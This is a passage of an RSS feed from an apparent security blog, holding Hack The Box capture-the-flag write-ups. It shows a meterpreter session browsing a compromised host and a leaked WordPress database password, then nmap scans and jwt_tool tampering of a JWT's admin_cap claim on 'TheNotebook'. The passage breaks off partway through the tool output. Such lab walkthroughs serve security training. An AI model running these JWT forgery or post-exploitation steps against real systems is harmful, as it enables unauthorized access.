<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379">/** MySQL database password */</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379">define( 'DB_PASSWORD', 'development01' );</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379">/** MySQL hostname */</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379">define( 'DB_HOST', 'localhost' );</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379">/** Database Charset to use in creating database tables. */</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379">define( 'DB_CHARSET', 'utf8' );</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379">/** The Database Collate type. Don't</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> change</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> this</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> if</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> in</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> doubt.</span><span style="--shiki-light:#005CC5;--shiki-dark:#E5C07B"> *</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">/</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">define(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 'DB_COLLATE',</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ''</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> );</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">define(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">'FS_METHOD'</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">,</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 'direct'</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>Directories under the <code>/home</code> directory was listed. Few users were found and user flag was identified to belong to the user <code>katie</code>.</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">meterpreter</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> &gt;</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ls</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> /home</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Listing:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> /home</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379">==============</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Mode</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">             Size</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  Type</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  Last</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> modified</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">              Name</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div>]]></content:encoded>
      <enclosure url="https://blog.hophouse.fr/htb-header.png" type="image/png"/>
    </item>
    <item>
      <title>TheNotebook</title>
      <link>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-TheNotebook.html</link>
      <guid>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-TheNotebook.html</guid>
      <source url="https://blog.hophouse.fr/rss.xml">TheNotebook</source>
      <description>box_informationsbox_informations Scan As usual, both TCP and UDP port scans were done on the box. The TCP scan revealed that the following ports are open: TCP scan UDP Scan User...</description>
      <category>Write-Up</category>
      <pubDate>Thu, 01 Jul 2021 00:00:00 GMT</pubDate>
      <content:encoded><![CDATA[<figure><figcaption>box_informations</figcaption></figure>
<h2>Scan</h2>
<p>As usual, both TCP and UDP port scans were done on the box. The TCP scan revealed that the following ports are open:</p>
<h3>TCP scan</h3>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> nmap -p- -Pn --open -iL ../input_ip.txt -oA nmap_open_tcp_ports</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">PORT</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">   STATE</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> SERVICE</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">22/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  ssh</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">80/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  http</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><h3>UDP Scan</h3>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> nmap -sU -Pn --open -iL ../input_ip.txt -oA nmap_open_udp_ports</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">PORT</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">   STATE</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">         SERVICE</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">68/udp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">filtered</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> dhcpc</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><h2>User flag</h2>
<p>The HTTP port (TCP/80) hosts a web application called "The Notebook".</p>
<figure><figcaption>web-page</figcaption></figure>
<p>It was possible to register a user <code>test</code> and log in to the application. However, the username <code>admin</code> was already taken and it was not posible to register a new user with it.</p>
<p>It was possible to add notes to the application. I tested to add two notes that could be accessed under :</p>
<ul>
<li>http://thenotebook.htb/45b581aa-503b-4885-a8a2-ca7d84ec63ff/notes/5</li>
<li>http://thenotebook.htb/45b581aa-503b-4885-a8a2-ca7d84ec63ff/notes/6</li>
</ul>
<p>By decrementing or incremeting requests it was not possible to found other notes. The user <code>test</code> has the password <code>test</code>. After signing in to this account, it was not possible to recover new notes.
Takig a look at the requests, it was possible to find that the cookie cotains a JWT token :</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly9sb2NhbGhvc3Q6NzA3MC9wcml2S2V5LmtleSJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJlbWFpbCI6InRlc3RAdGVzdC5odGIiLCJhZG1pbl9jYXAiOmZhbHNlfQ.mE10x1sbOBWS4rqeWirvPh4USRfZyEAz4parlbs2TC5-FoiMMcyylbMBIvh-u2YHcl6Vd3HcTmboTSDQyaXBHhXMsmXu2gswha-TzpLkUhyiMDfZODNzxoRWVrzUDtDp6urU2_nhHHEnGIFUv3aEo56JfiUQs36m3bTe2IZXShGwLcVgWGhT58Bh1fbpvUhbdXNQmKCmWlMaJ50rhHhn3hylEAZkR0aMSjAP5nMaAXRwKwL1jWizZ_nButaUIC_qC0Jn69_7jEMCvt2N-XAsm4i2tjQ8rlBSkiWfmZ0DTcxEYsn10g8VbTphCdh73smWftaZdbMEbRDb8AKZKtEMQP5UgaHI8Y3gnLkQA5K0cuVaczm-xKwHCYUULWcTre4pJ6e7N2-MKf0oAMDWr-3C1BSOJ-yhaVnJpwjiAzTOjtElLihjvJ-Sc4mxcVLWCNxZ9XpZAjz6QMMRtEaWU9cDSCpobujTiOP99jNS9_ETVLFaJLChnCzskdT7Gu4Uz7XnUAUBn-UbpztH04iQgPvrMjlDMT_9XX-FSkLNs1ZDMA9PUpZrFZGJi6loGnXLxBa8x8JalidEbrO9xTOmHzW3b7i694v4qTviZcx3ub_xRE4THv8i1plHJb61oAgt2v_4Xt_um_Inx3lEp1pzscq7A-s9NK5Tgike0agY-Z_-YRQ; uuid=f570e243-c7c9-4512-9e70-0415cc266b2b</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>Once extracted, it was decoded ad it has the following structure :</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>{</span></span>
<span class="line"><span>  "typ":"JWT",</span></span>
<span class="line"><span>  "alg":"RS256",</span></span>
<span class="line"><span>  "kid":"http://localhost:7070/privKey.key"</span></span>
<span class="line"><span>}</span></span>
<span class="line"><span>{</span></span>
<span class="line"><span>    "username": "test",</span></span>
<span class="line"><span>    "email": "test@test.htb",</span></span>
<span class="line"><span>    "admin_cap": false</span></span>
<span class="line"><span>}</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>I used the tool <code>jwt_tool</code> in order to tamper data into the token and verify that the signature is correctly verified.</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">$</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt; </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">python3</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> jwt_tool.py</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -T</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly9sb2NhbGhvc3Q6NzA3MC9wcml2S2V5LmtleSJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJlbWFpbCI6InRlc3RAdGVzdC5odGIiLCJhZG1pbl9jYXAiOmZhbHNlfQ.mE10x1sbOBWS4rqeWirvPh4USRfZyEAz4parlbs2TC5-FoiMMcyylbMBIvh-u2YHcl6Vd3HcTmboTSDQyaXBHhXMsmXu2gswha-TzpLkUhyiMDfZODNzxoRWVrzUDtDp6urU2_nhHHEnGIFUv3aEo56JfiUQs36m3bTe2IZXShGwLcVgWGhT58Bh1fbpvUhbdXNQmKCmWlMaJ50rhHhn3hylEAZkR0aMSjAP5nMaAXRwKwL1jWizZ_nButaUIC_qC0Jn69_7jEMCvt2N-XAsm4i2tjQ8rlBSkiWfmZ0DTcxEYsn10g8VbTphCdh73smWftaZdbMEbRDb8AKZKtEMQP5UgaHI8Y3gnLkQA5K0cuVaczm-xKwHCYUULWcTre4pJ6e7N2-MKf0oAMDWr-3C1BSOJ-yhaVnJpwjiAzTOjtElLihjvJ-Sc4mxcVLWCNxZ9XpZAjz6QMMRtEaWU9cDSCpobujTiOP99jNS9_ETVLFaJLChnCzskdT7Gu4Uz7XnUAUBn-UbpztH04iQgPvrMjlDMT_9XX-FSkLNs1ZDMA9PUpZrFZGJi6loGnXLxBa8x8JalidEbrO9xTOmHzW3b7i694v4qTviZcx3ub_xRE4THv8i1plHJb61oAgt2v_4Xt_um_Inx3lEp1pzscq7A-s9NK5Tgike0agY-Z_-YRQ'</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">        \</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">   \ </span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">       \ </span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">        \ </span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">         \ </span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">                   \</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">   \_</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">_</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">   |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">   |</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">  \</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">     |</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">\__</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    __</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> \__</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    __</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">                    |</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">         |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">   |</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">   \</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">    |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">      |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">          |</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">       \</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">         \ </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">    |</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">         |</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">        \</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">   |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">      |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">          |</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    __</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">  \ </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    __</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">  \ </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">   |</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">  \</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">      |</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">      _</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">     |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">      |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">          |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">   |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">     |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">   |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">     |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">   |</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">   |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">     |</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">     /</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> \ </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">   |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">      |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">          |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">   |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">     |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">   |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">     |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">   |</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">\</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">        |</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    /</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">   \ </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">  |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">      |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">          |</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">\</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">        |</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">\</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">        |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">   |</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> \______/</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> \_</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">_/</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">     \_</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">_</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">   \__</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">      \__</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> \______/</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">  \_</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">_____/</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> \_</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">_</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> Version</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 2.2.3</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">                \_</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">_____</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">             @ticarpi</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Original</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> JWT:</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379">====================================================================</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">This</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> option</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> allows</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> you</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> to</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> tamper</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> with</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> the</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> header,</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> contents</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> and</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">signature</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> of</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> the</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> JWT.</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379">====================================================================</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Token</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> header</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> values:</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[1] typ = </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"JWT"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[2] alg = </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"RS256"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[3] kid = </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"http://localhost:7070/privKey.key"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[4] </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">ADD A VALUE</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[5] </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">DELETE A VALUE</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[0] Continue to next step</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Please</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> select</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> a</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> field</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> number:</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">or</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 0</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> to</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Continue</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> 0</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Token</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> payload</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> values:</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[1] username = </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"test"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[2] email = </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"test@test.htb"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[3] admin_cap = False</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[4] </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">ADD A VALUE</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[5] </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">DELETE A VALUE</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[0] Continue to next step</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Please</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> select</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> a</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> field</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> number:</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">or</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 0</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> to</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Continue</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> 3</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Current</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> value</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> of</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> admin_cap</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> is:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> False</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Please</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> enter</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> new</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> value</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> and</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> hit</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ENTER</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> True</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[1] username = </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"test"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[2] email = </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"test@test.htb"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[3] admin_cap = True</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[4] </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">ADD A VALUE</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span></span>
